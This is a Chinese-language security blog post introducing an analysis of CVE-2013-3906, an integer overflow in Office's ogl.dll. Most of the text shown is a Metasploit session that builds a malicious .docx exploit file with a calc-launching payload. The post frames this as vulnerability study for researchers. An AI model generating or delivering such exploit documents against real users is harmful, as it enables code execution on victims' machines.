[原创]CVE-2013-3906漏洞分析
前言
CVE-2013-3906是一个位于ogl.dll内的整数溢出漏洞，这是一个比较经典的整数溢出漏洞，当时是McAfee公司抓到的一个0day。关于这个漏洞还有一些趣闻。这两天拿这个漏洞练了一下手。下文记录了我对该漏洞的分析过程，侧重于漏洞分析方面，本文对该漏洞用到的堆喷射和利用技巧不做讨论，如需了解这些请阅读本文的参考链接。
需要注意的是，在Windows 7+office 2010环境下ogl.dll并不存在，所以该漏洞不影响这一环境。
调试环境
windows7 x86 + office 2007 sp0(ogl.dll 12.0.4518.1014)
调试样本生成自metasploit
msf > search cve-2013-3906 [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/fileformat/mswin_tiff_overflow 2013-11-05 average MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow msf > use exploit/windows/fileformat/mswin_tiff_overflow msf exploit(mswin_tiff_overflow) > show options Module options (exploit/windows/fileformat/mswin_tiff_overflow): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.docx yes The docx file Exploit target: Id Name -- ---- 0 Windows XP SP3 with Office Standard 2010 msf exploit(mswin_tiff_overflow) > set payload windows/exec payload => windows/exec msf exploit(mswin_tiff_overflow) > show options Module options (exploit/windows/fileformat/mswin_tiff_overflow): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.docx yes The docx file Payload options (windows/exec): Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) Exploit target: Id Name -- ---- 0 Windows XP SP3 with Office Standard 2010 msf exploit(mswin_tiff_overflow) > set CMD calc CMD => calc msf exploit(mswin_tiff_overflow) > set EXITFUNC thread EXITFUNC => thread msf exploit(mswin_tiff_overflow) > set FILENAME cve-2013-3906-msf.docx_ FILENAME => cve-2013-3906-msf.docx_ msf exploit(mswin_tiff_overflow) > exploit [*] Initializing files... [*] Packing directory: word [*] Packing file: word/webSettings.xml [*] Packing directory: word/media [*] Packing directory: word/embeddings [*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet6.xlsx [*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet4.xlsx [*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet5.xlsx [*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet1.xlsx [*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet3.xlsx [*] Packing file: word/embeddings/Microsoft_Office_Excel_Worksheet2.xlsx [*] Packing directory: word/charts [*] Packing file: word/charts/chart3.xml [*] Packing file: word/charts/chart4.xml [*] Packing directory: word/charts/_rels [*] Packing file: word/charts/_rels/chart5.xml.rels [*] Packing file: word/charts/_rels/chart2.xml.rels [*] Packing file: word/charts/_rels/chart1.xml.rels [*] Packing file: word/charts/_rels/chart4.xml.rels [*] Packing file: word/charts/_rels/chart6.xml.rels [*] Packing file: word/charts/_rels/chart3.xml.rels [*] Packing file: word/charts/chart2.xml [*] Packing file: word/charts/chart5.xml [*] Packing file: word/charts/chart6.xml [*] Packing file: word/charts/chart1.xml [*] Packing directory: word/theme [*] Packing file: word/theme/theme1.xml [*] Packing file: word/settings.xml [*] Packing file: word/styles.xml [*] Packing file: word/fontTable.xml [*] Packing directory: docProps [*] Packing file: docProps/app.xml [*] Packing file: docProps/core.xml [*] Packing directory: _rels [*] Packing ActiveX controls... [*] Packing file: [Content_Types].xml [*] Packing file: /word/media/image1.jpeg [*] Packing file: /word/document.xml [*] Packing file: _rels/.rels [*] Packing file: /word/_rels/document.xml.rels [+] cve-2013-3906-msf.docx_ stored at /root/.msf4/local/cve-2013-3906-msf.docx_ msf exploit(mswin_tiff_overflow) > exploit
注意：上传附件及图片大小不得大于30M。
⚠️ 版权声明：
本博客所有内容（含教程、源码、工具）仅供个人技术学习与研究交流使用，严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权，任何组织或个人不得转载、复制或用于其他平台，违者将追究相关责任。
上一篇
[原创]ctf pwn中的unsorted bin利用及chunk shrink——0ctf2018 heapstorm2 writeup
下一篇
[原创]ROOTKIT 核心技术——利用 NT!_MDL（内存描述符链表）突破 SSDT（系统服务描述符表）的只读访问限制 PART I
参与讨论
登录后可查看全部回复并参与讨论。
